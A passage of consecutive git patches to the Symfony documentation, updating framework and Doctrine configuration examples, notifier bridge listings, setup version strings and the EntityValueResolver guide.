--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3579,12 +3579,11 @@ exceptions that match the given exception class:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:exceptions>
-                    <exception id="Symfony\Component\HttpKernel\Exception\BadRequestHttpException">
-                        <framework:log_level>debug</framework:log_level>
-                        <framework:status_code>422</framework:status_code>
-                    </exception>
-                </framework:exceptions>
+                <framework:exception
+                    class="Symfony\Component\HttpKernel\Exception\BadRequestHttpException"
+                    log-level="debug"
+                    status-code="422"
+                />
                 <!-- ... -->
             </framework:config>
         </container>
@@ -3596,13 +3595,9 @@ exceptions that match the given exception class:
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework) {
-            $framework
-                ->exceptions(BadRequestHttpException::class)
-                ->log_level('debug');
-
-            $framework
-                ->exceptions(BadRequestHttpException::class)
-                ->status_code(422);
+            $framework->exception(BadRequestHttpException::class)
+                ->logLevel('debug')
+                ->statusCode(422)
             ;
         };
 

From 7fbcccfc3333384de0af8c47b6cfda38af4a42fd Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 4 Dec 2022 16:09:39 +0200
Subject: [PATCH 3934/7107] version fix

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index cd602461783..720768c1ec8 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.2.*" --webapp
+    $ symfony new my_project_directory --version="6.3.*@dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.2.*"
+    $ symfony new my_project_directory --version="6.3.*@dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -64,12 +64,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.2.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.3.*@dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.2.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.3.*@dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 5f3d75b24877b7be98ac3c74938f5ba169d84ade Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 5 Dec 2022 10:31:54 +0100
Subject: [PATCH 3935/7107] [Notifier] Fix class

Fixes #17503
---
 notifier/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier/events.rst b/notifier/events.rst
index 2b9c9f6d1eb..05a602a3bab 100644
--- a/notifier/events.rst
+++ b/notifier/events.rst
@@ -9,8 +9,8 @@ Using Events
     The ``MessageEvent``, ``FailedMessageEvent`` and ``SentMessageEvent`` were
     introduced in Symfony 5.4.
 
-The class:``...\\..\\Transport`` of the Notifier component allows you to optionally hook
-into the lifecycle via events.
+The :class:`Symfony\\Component\\Notifier\\Transport`` class of the Notifier component
+allows you to optionally hook into the lifecycle via events.
 
 The ``MessageEvent::class`` Event
 ---------------------------------

From 79e9e478184b734b55ecb4f6da511330f2de73b2 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Fri, 4 Nov 2022 09:19:01 +0100
Subject: [PATCH 3936/7107] Add Mastodon bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index ac9a45b6591..43f4fbeb47b 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -201,6 +201,7 @@ Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?r
 GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 LINE Notify     ``symfony/line-notify-notifier``      ``linenotify://TOKEN@default``
 LinkedIn        ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
+Mastodon        ``symfony/mastodon-notifier``         ``mastodon://ACCESS_TOKEN@HOST``
 Mattermost      ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
 Mercure         ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
 MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
@@ -218,7 +219,7 @@ Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST
 
 .. versionadded:: 6.3
 
-    The LINE Notify and Twitter integrations were introduced in Symfony 6.3.
+    The LINE Notify, Mastodon and Twitter integrations were introduced in Symfony 6.3.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 177f62012a17c1c87721dda429666a9475a622c3 Mon Sep 17 00:00:00 2001
From: Thibaut Cheymol <tcheymol@users.noreply.github.com>
Date: Sat, 3 Dec 2022 11:59:22 +0100
Subject: [PATCH 3937/7107] [FrameworkBundle] Rename option
 `catch_all_throwables` to `handle_all_throwables` in documentation

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5b6efc18f32..e8e3a3d7ce2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -53,8 +53,8 @@ will invalidate all signed URIs and Remember Me cookies. That's why, after
 changing this value, you should regenerate the application cache and log
 out all the application users.
 
-catch_all_throwables
-~~~~~~~~~~~~~~~~~~~~
+handle_all_throwables
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -65,7 +65,7 @@ Starting from Symfony 7.0, the default value of this option will be ``true``.
 
 .. versionadded:: 6.2
 
-    The ``catch_all_throwables`` option was introduced in Symfony 6.2.
+    The ``handle_all_throwables`` option was introduced in Symfony 6.2.
 
 .. _configuration-framework-http_cache:
 

From 3e3eac17e384cc3c7b291085d15c76bdbabf18e8 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Mon, 5 Dec 2022 14:38:36 -0400
Subject: [PATCH 3938/7107] [Notifier] Fix merge conflict

---
 notifier.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index ac9a45b6591..7e51b5f20bd 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -85,11 +85,8 @@ Nexmo            ``symfony/nexmo-notifier``             Abandoned in favor of Vo
 Octopush         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OrangeSms        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 OvhCloud         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
-<<<<<<< HEAD
 RingCentral      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
-=======
 Plivo            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
->>>>>>> 80403f278 ([Notifier] Add Plivo bridge)
 Sendberry        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 Sendinblue       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``

From cb091ded711de2e99d87a58af47af836addeda6f Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 5 Dec 2022 20:54:18 +0100
Subject: [PATCH 3939/7107] [Security] User in expression cannot be "anon"

---
 security/expressions.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 16989fd75ed..338c5c94ab9 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -44,7 +44,8 @@ syntax, see :doc:`/components/expression_language/syntax`.
 Inside the expression, you have access to a number of variables:
 
 ``user``
-    The user object (or the string ``anon`` if you're not authenticated).
+    An instance of :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface` that represents the current user
+    or ``null`` if you're not authenticated.
 ``role_names``
     An array with the string representation of the roles the user has. This array
     includes any roles granted indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it

From c22c47bb1e9890690f45a22f55c0cef34888c3bd Mon Sep 17 00:00:00 2001
From: Alex Plekhanov <alex@plekhanov.io>
Date: Mon, 5 Dec 2022 21:25:46 +0100
Subject: [PATCH 3940/7107] [Notifier] Updated chatter documentation with
 `Telegram::answerCallbackQuery`

---
 notifier/chatters.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 37d8631c067..c275c4683e6 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -332,6 +332,28 @@ a previous message to edit::
             ])
         );
 
+Answering Callback Queries in Telegram
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.3
+
+    The ``TelegramOptions::answerCallbackQuery()`` method was introduced in Symfony 6.3.
+
+When sending message with inline keyboard buttons with callback data, you can use
+:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` to `answer callback queries`_::
+
+    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Thank you!');
+    $telegramOptions = (new TelegramOptions())
+        ->chatId($chatId)
+        ->answerCallbackQuery(
+            callbackQueryId: '12345', // extracted from callback
+            showAlert: true,
+            cacheTime: 1,
+        );
+
 Adding text to a Microsoft Teams Message
 ----------------------------------------
 
@@ -424,3 +446,4 @@ The result will be something like:
 .. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
 .. _`message options`: https://core.telegram.org/bots/api
 .. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference
+.. _`answer callback queries`: https://core.telegram.org/bots/api#answercallbackquery

From 204941b91df5ae8198a297bd6b8ad65ffec71b44 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 6 Dec 2022 00:28:45 +0100
Subject: [PATCH 3941/7107] Removing another self-closing HTML slash

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 1d72af7bbe5..1db6fa4448a 100644
--- a/routing.rst
+++ b/routing.rst
@@ -301,7 +301,7 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
 
     HTML forms only support ``GET`` and ``POST`` methods. If you're calling a
     route with a different method from an HTML form, add a hidden field called
-    ``_method`` with the method to use (e.g. ``<input type="hidden" name="_method" value="PUT"/>``).
+    ``_method`` with the method to use (e.g. ``<input type="hidden" name="_method" value="PUT">``).
     If you create your forms with :doc:`Symfony Forms </forms>` this is done
     automatically for you.
 

From dc7c6a1366c0c87c17b707256b61f6e5eb9c821f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 6 Dec 2022 15:46:06 +0100
Subject: [PATCH 3942/7107] [#17393] Finish entity value resolver docs

---
 best_practices.rst |  13 +-
 doctrine.rst       | 294 +++++++++++++++++----------------------------
 2 files changed, 116 insertions(+), 191 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index efe15c1c6fa..26187fd4d17 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -246,13 +246,13 @@ Instead, you must use dependency injection to fetch services by
 :ref:`type-hinting action method arguments <controller-accessing-services>` or
 constructor arguments.
 
-Use EntityValueResolver If It Is Convenient
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Use Entity Value Resolvers If They Are Convenient
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you're using :doc:`Doctrine </doctrine>`, then you can *optionally* use the
-`EntityValueResolver`_ to automatically query for an entity and pass it as an
-argument to your controller. It will also show a 404 page if no entity can be
-found.
+If you're using :doc:`Doctrine </doctrine>`, then you can *optionally* use
+the :ref:`EntityValueResolver <doctrine-entity-value-resolver>` to
+automatically query for an entity and pass it as an argument to your
+controller. It will also show a 404 page if no entity can be found.
 
 If the logic to get an entity from a route variable is more complex, instead of
 configuring the EntityValueResolver, it's better to make the Doctrine query
@@ -451,7 +451,6 @@ you must set up a redirection.
 .. _`Symfony Demo`: https://github.com/symfony/demo
 .. _`download Symfony`: https://symfony.com/download
 .. _`Composer`: https://getcomposer.org/
-.. _`ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle
 .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software)
 .. _`Webpack`: https://webpack.js.org/
diff --git a/doctrine.rst b/doctrine.rst
index 6ad5c6d665d..9e100a5e00b 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -598,61 +598,21 @@ the :ref:`doctrine-queries` section.
     see the web debug toolbar, install the ``profiler`` :ref:`Symfony pack <symfony-packs>`
     by running this command: ``composer require --dev symfony/profiler-pack``.
 
+.. _doctrine-entity-value-resolver:
+
 Automatically Fetching Objects (EntityValueResolver)
 ----------------------------------------------------
 
-In many cases, you can use the `EntityValueResolver`_ to do the query for you
-automatically! First, enable the feature:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/doctrine.yaml
-        doctrine:
-            orm:
-                controller_resolver:
-                    enabled: true
-                    auto_mapping: true
-                    evict_cache: false
-
-    .. code-block:: xml
-
-        <!-- config/packages/doctrine.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/doctrine
-                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
-
-            <doctrine:config>
-                <!-- by convention the env var names are always uppercase -->
-                <doctrine:orm>
-                    <doctrine:controller_resolver auto_mapping="true" evict_cache="false"/>
-                </doctrine:orm>
-            </doctrine:config>
-
-        </container>
-
-    .. code-block:: php
+.. versionadded:: 6.2
 
-        // config/packages/doctrine.php
-        use Symfony\Config\DoctrineConfig;
+    Entity Value Resolver was introduced in Symfony 6.2.
 
-        return static function (DoctrineConfig $doctrine) {
-            $controllerResolver = $doctrine->orm()
-                ->entityManager('default')
-                    // ...
-                    ->controllerResolver();
+.. versionadded:: 2.7.1
 
-            $controllerResolver->autoMapping(true);
-            $controllerResolver->evictCache(true);
-        };
+    Autowiring of the ``EntityValueResolver`` was introduced in DoctrineBundle 2.7.1.
 
-Now, simplify your controller::
+In many cases, you can use the ``EntityValueResolver`` to do the query for you
+automatically! You can simplify the controller to::
 
     // src/Controller/ProductController.php
     namespace App\Controller;
@@ -676,15 +636,17 @@ Now, simplify your controller::
 That's it! The bundle uses the ``{id}`` from the route to query for the ``Product``
 by the ``id`` column. If it's not found, a 404 page is generated.
 
-This behavior can be enabled on all your controllers, by setting the ``auto_mapping``
-parameter to ``true``. Or individually on the desired controllers by using the
-``MapEntity`` attribute:
+This behavior is enabled by default on all your controllers. You can
+disable it by setting the ``doctrine.orm.controller_resolver.auto_mapping``
+config option to ``false``.
+
+When disabled, you can enable it individually on the desired controllers by
+using the ``MapEntity`` attribute::
 
     // src/Controller/ProductController.php
     namespace App\Controller;
 
     use App\Entity\Product;
-    use App\Repository\ProductRepository;
     use Symfony\Bridge\Doctrine\Attribute\MapEntity;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
@@ -702,31 +664,41 @@ parameter to ``true``. Or individually on the desired controllers by using the
         }
     }
 
+.. tip::
+
+    When enabled globally, it's possible to disabled the behavior on a specific
+    controller, by using the ``MapEntity`` set to ``disabled``.
+
+        public function show(
+            #[CurrentUser]
+            #[MapEntity(disabled: true)]
+            User $user
+        ): Response {
+            // User is not resolved by the EntityValueResolver
+            // ...
+        }
+
 Fetch Automatically
 ~~~~~~~~~~~~~~~~~~~
 
 If your route wildcards match properties on your entity, then the resolver
-will automatically fetch them:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
+will automatically fetch them::
 
-        /**
-         * Fetch via primary key because {id} is in the route.
-         */
-        #[Route('/product/{id}')]
-        public function showByPk(Post $post): Response
-        {
-        }
+    /**
+     * Fetch via primary key because {id} is in the route.
+     */
+    #[Route('/product/{id}')]
+    public function showByPk(Post $post): Response
+    {
+    }
 
-        /**
-         * Perform a findOneBy() where the slug property matches {slug}.
-         */
-        #[Route('/product/{slug}')]
-        public function showBySlug(Post $post): Response
-        {
-        }
+    /**
+     * Perform a findOneBy() where the slug property matches {slug}.
+     */
+    #[Route('/product/{slug}')]
+    public function showBySlug(Post $post): Response
+    {
+    }
 
 Automatic fetching works in these situations:
 
@@ -743,145 +715,99 @@ attribute and using the `MapEntity options`_.
 Fetch via an Expression
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-If automatic fetching doesn't work, use an expression:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
+If automatic fetching doesn't work, you can write an expression using the
+:doc:`ExpressionLanguage component </components/expression_language>`::
 
-        use Sensio\Bundle\FrameworkExtraBundle\Configuration\Entity;
-
-        #[Route('/product/{product_id}')]
-        public function show(
-            #[MapEntity(expr: 'repository.find(product_id)')]
-            Product $product
-        ): Response {
-        }
-
-Use the special ``MapEntity`` attribute with an ``expr`` option to
-fetch the object by calling a method on your repository. The
-``repository`` method will be your entity's Repository class and
-any route wildcards - like ``{product_id}`` are available as variables.
-
-This can also be used to help resolve multiple arguments:
+    #[Route('/product/{product_id}')]
+    public function show(
+        #[MapEntity(expr: 'repository.find(product_id)')]
+        Product $product
+    ): Response {
+    }
 
-.. configuration-block::
+In the expression, the ``repository`` variable will be your entity's
+Repository class and any route wildcards - like ``{product_id}`` are
+available as variables.
 
-    .. code-block:: php-attributes
+This can also be used to help resolve multiple arguments::
 
-        #[Route('/product/{id}/comments/{comment_id}')]
-        public function show(
-            Product $product
-            #[MapEntity(expr: 'repository.find(comment_id)')]
-            Comment $comment
-        ): Response {
-        }
+    #[Route('/product/{id}/comments/{comment_id}')]
+    public function show(
+        Product $product
+        #[MapEntity(expr: 'repository.find(comment_id)')]
+        Comment $comment
+    ): Response {
+    }
 
-In the example above, the ``$product`` argument is handled automatically, 
+In the example above, the ``$product`` argument is handled automatically,
 but ``$comment`` is configured with the attribute since they cannot both follow
 the default convention.
 
-.. _`MapEntity options`:
-
-
 MapEntity Options
 ~~~~~~~~~~~~~~~~~
 
-A number of ``options`` are available on the ``MapEntity`` annotation to 
+A number of options are available on the ``MapEntity`` annotation to
 control behavior:
 
-* ``id``: If an ``id`` option is configured and matches a route parameter, then
-  the resolver will find by the primary key:
-
-  .. configuration-block::
-
-      .. code-block:: php-attributes
-  
-          #[Route('/product/{product_id}')]
-          public function show(
-            Product $product
-            #[MapEntity(id: 'product_id')]
-            Comment $comment
-          ): Response {
-          }
-
-* ``mapping``: Configures the properties and values to use with the ``findOneBy()``
-  method: the key is the route placeholder name and the value is the Doctrine 
-  property name:
-
-  .. configuration-block::
-
-      .. code-block:: php-attributes
-
-          #[Route('/product/{category}/{slug}/comments/{comment_slug}')]
-          public function show(
-            #[MapEntity(mapping: ['date' => 'date', 'slug' => 'slug'])]
-            Product $product
-            #[MapEntity(mapping: ['comment_slug' => 'slug'])]
-            Comment $comment
-          ): Response {
-          }
-
-* ``exclude`` Configures the properties that should be used in the ``findOneBy()``
-  method by *excluding* one or more properties so that not *all* are used:
-
-  .. configuration-block::
-
-      .. code-block:: php-attributes
-
-          #[Route('/product/{slug}/{date}')]
-          public function show(
-            #[MapEntity(exclude: ['date'])]
-            Product $product
-            \DateTime $date
-          ): Response {
-          }
-
-* ``stripNull`` If true, then when ``findOneBy()`` is used, any values that 
-  are ``null`` will not be used for the query.
-
-* ``entityManager`` By default, the ``EntityValueResolver`` uses the *default*
-  entity manager, but you can configure this:
+``id``
+    If an ``id`` option is configured and matches a route parameter, then
+    the resolver will find by the primary key::
 
-  .. configuration-block::
+        #[Route('/product/{product_id}')]
+        public function show(
+          Product $product
+          #[MapEntity(id: 'product_id')]
+          Comment $comment
+        ): Response {
+        }
 
-      .. code-block:: php-attributes
+``mapping``
+    Configures the properties and values to use with the ``findOneBy()``
+    method: the key is the route placeholder name and the value is the Doctrine
+    property name::
 
-          #[Route('/product/{id}')]
-          public function show(
-            #[MapEntity(entityManager: ['foo'])]
-            Product $product
-          ): Response {
-          }
+        #[Route('/product/{category}/{slug}/comments/{comment_slug}')]
+        public function show(
+          #[MapEntity(mapping: ['date' => 'date', 'slug' => 'slug'])]
+          Product $product
+          #[MapEntity(mapping: ['comment_slug' => 'slug'])]
+          Comment $comment
+        ): Response {
+        }
 
-* ``evictCache`` If true, forces Doctrine to always fetch the entity from the 
-  database instead of cache.
+``exclude``
+    Configures the properties that should be used in the ``findOneBy()``
+    method by *excluding* one or more properties so that not *all* are used:
 
-* ``disabled`` If true, the ``EntityValueResolver`` will not try to replace 
-  the argument.
+        #[Route('/product/{slug}/{date}')]
+        public function show(
+          #[MapEntity(exclude: ['date'])]
+          Product $product
+          \DateTime $date
+        ): Response {
+        }
 
-.. tip::
+``stripNull``
+    If true, then when ``findOneBy()`` is used, any values that are
+    ``null`` will not be used for the query.
 
-    When enabled globally, it's possible to disabled the behavior on a specific
-    controller, by using the ``MapEntity`` set to ``disabled``.
+``entityManager``
+    By default, the ``EntityValueResolver`` uses the *default*
+    entity manager, but you can configure this::
 
+        #[Route('/product/{id}')]
         public function show(
-            #[CurrentUser]
-            #[MapEntity(disabled: true)]
-            User $user
+          #[MapEntity(entityManager: ['foo'])]
+          Product $product
         ): Response {
-            // User is not resolved by the EntityValueResolver
-            // ...
         }
 
-.. versionadded:: 6.2
-
-    Entity Value Resolver was introduced in Symfony 6.2.
-
-.. versionadded:: 2.7.1
+``evictCache``
+    If true, forces Doctrine to always fetch the entity from the database
+    instead of cache.
 
-    Autowiring of the ``EntityValueResolver`` was introduced in DoctrineBundle
-    2.7.1.
+``disabled``
+    If true, the ``EntityValueResolver`` will not try to replace the argument.
 
 Updating an Object
 ------------------

From e82b467752412b183f07c6d23795fce5845016f2 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 6 Dec 2022 16:08:10 +0100
Subject: [PATCH 3943/7107] Fix lint issues

---
 doctrine.rst | 25 ++++++++++++-------------
 1 file changed, 12 insertions(+), 13 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 9e100a5e00b..cd5806c4bbd 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -755,9 +755,9 @@ control behavior:
 
         #[Route('/product/{product_id}')]
         public function show(
-          Product $product
-          #[MapEntity(id: 'product_id')]
-          Comment $comment
+            Product $product
+            #[MapEntity(id: 'product_id')]
+            Comment $comment
         ): Response {
         }
 
@@ -768,10 +768,10 @@ control behavior:
 
         #[Route('/product/{category}/{slug}/comments/{comment_slug}')]
         public function show(
-          #[MapEntity(mapping: ['date' => 'date', 'slug' => 'slug'])]
-          Product $product
-          #[MapEntity(mapping: ['comment_slug' => 'slug'])]
-          Comment $comment
+            #[MapEntity(mapping: ['date' => 'date', 'slug' => 'slug'])]
+            Product $product
+            #[MapEntity(mapping: ['comment_slug' => 'slug'])]
+            Comment $comment
         ): Response {
         }
 
@@ -781,9 +781,9 @@ control behavior:
 
         #[Route('/product/{slug}/{date}')]
         public function show(
-          #[MapEntity(exclude: ['date'])]
-          Product $product
-          \DateTime $date
+            #[MapEntity(exclude: ['date'])]
+            Product $product
+            \DateTime $date
         ): Response {
         }
 
@@ -797,8 +797,8 @@ control behavior:
 
         #[Route('/product/{id}')]
         public function show(
-          #[MapEntity(entityManager: ['foo'])]
-          Product $product
+            #[MapEntity(entityManager: ['foo'])]
+            Product $product
         ): Response {
         }
 
@@ -1070,7 +1070,6 @@ Learn more
 .. _`Transactions and Concurrency`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/transactions-and-concurrency.html
 .. _`DoctrineMigrationsBundle`: https://github.com/doctrine/DoctrineMigrationsBundle
 .. _`NativeQuery`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/native-sql.html
-.. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`limit of 767 bytes for the index key prefix`: https://dev.mysql.com/doc/refman/5.6/en/innodb-limits.html
 .. _`Doctrine screencast series`: https://symfonycasts.com/screencast/symfony-doctrine
 .. _`API Platform`: https://api-platform.com/docs/core/validation/

From 51155cb1947e6db7326f483249ea904cccd22ccf Mon Sep 17 00:00:00 2001
From: Quentin ADADAIN <61509041+Qadadain@users.noreply.github.com>
Date: Tue, 6 Dec 2022 15:05:14 +0100
Subject: [PATCH 3944/7107] Fix typo, change parameter $accesToken to $token

Fix parameter name in documentation example.
---
 security/access_token.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 724979764a8..d5d607dbcb0 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -94,7 +94,7 @@ This handler must implement
         public function getUserBadgeFrom(string $accessToken): UserBadge
         {
             // e.g. query the "access token" database to search for this token
-            $accessToken = $this->repository->findOneByValue($token);
+            $accessToken = $this->repository->findOneByValue($accessToken);
             if (null === $accessToken || !$accessToken->isValid()) {
                 throw new BadCredentialsException('Invalid credentials.');
             }

From 6c19fa7a835ca9407bde4b7f91c9b2cb6fbc052f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 6 Dec 2022 16:46:57 +0100
Subject: [PATCH 3945/7107] Changing versionadded 5.1 to note

Reasons:
* Info about 5.1 doesn't make sense in 5.4 anymore.
* Link to `configureContainer` was dead anyway.
---
 configuration.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 6d2638008fa..bf00e080262 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -60,13 +60,11 @@ configure your applications. Symfony lets you choose between YAML, XML and PHP
 and throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 
-.. versionadded:: 5.1
+.. note::
 
-    Starting from Symfony 5.1, by default Symfony only loads the configuration
+    By default, Symfony only loads the configuration
     files defined in YAML format. If you define configuration in XML and/or PHP
-    formats, update the ``src/Kernel.php`` file to add support for the ``.xml``
-    and ``.php`` file extensions by overriding the
-    :method:`Symfony\\Component\\HttpKernel\\Kernel::configureContainer` method::
+    formats, update the ``src/Kernel.php`` file::
 
         // src/Kernel.php
         use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
@@ -93,8 +91,8 @@ shown in these three formats.
         }
 
 There isn't any practical difference between formats. In fact, Symfony
-transforms and caches all of them into PHP before running the application, so
-there's not even any performance difference between them.
+transforms all of them into PHP and caches them before running the application, so
+there's not even any performance difference.
 
 YAML is used by default when installing packages because it's concise and very
 readable. These are the main advantages and disadvantages of each format:

From 173ddb5f6a363b77e87cb2f599feac92b63b0999 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Wed, 7 Dec 2022 09:30:50 +0100
Subject: [PATCH 3946/7107] [DoctrineBridge] Add EntityValueResolver to the
 list of built-in value resolvers

---
 controller/value_resolver.rst | 29 ++++++++++++++++++++++++++++-
 1 file changed, 28 insertions(+), 1 deletion(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index f08aee9126d..a8c01407368 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -146,7 +146,7 @@ Symfony ships with the following value resolvers in the
     argument list. When the action is called, the last (variadic) argument will
     contain all the values of this array.
 
-In addition, some components and official bundles provide other value resolvers:
+In addition, some components, bridges and official bundles provide other value resolvers:
 
 :class:`Symfony\\Component\\Security\\Http\\Controller\\UserValueResolver`
     Injects the object that represents the current logged in user if type-hinted
@@ -159,6 +159,33 @@ In addition, some components and official bundles provide other value resolvers:
     user has a user class not matching the type-hinted class, an ``AccessDeniedException``
     is thrown by the resolver to prevent access to the controller.
 
+:class:`Symfony\\Bridge\\Doctrine\\ArgumentResolver\\EntityValueResolver`
+    Automatically query for an entity and pass it as an argument to your controller.
+
+    For example, the following will query the ``Product`` entity which has ``{id}`` as primary key::
+
+        // src/Controller/DefaultController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class DefaultController
+        {
+            #[Route('/product/{id}')]
+            public function share(Product $product): Response
+            {
+                // ...
+            }
+        }
+
+    To learn more about the use of the ``EntityValueResolver``, see the dedicated
+    section :ref:`Automatically Fetching Objects <doctrine-entity-value-resolver>`.
+
+    .. versionadded:: 6.2
+
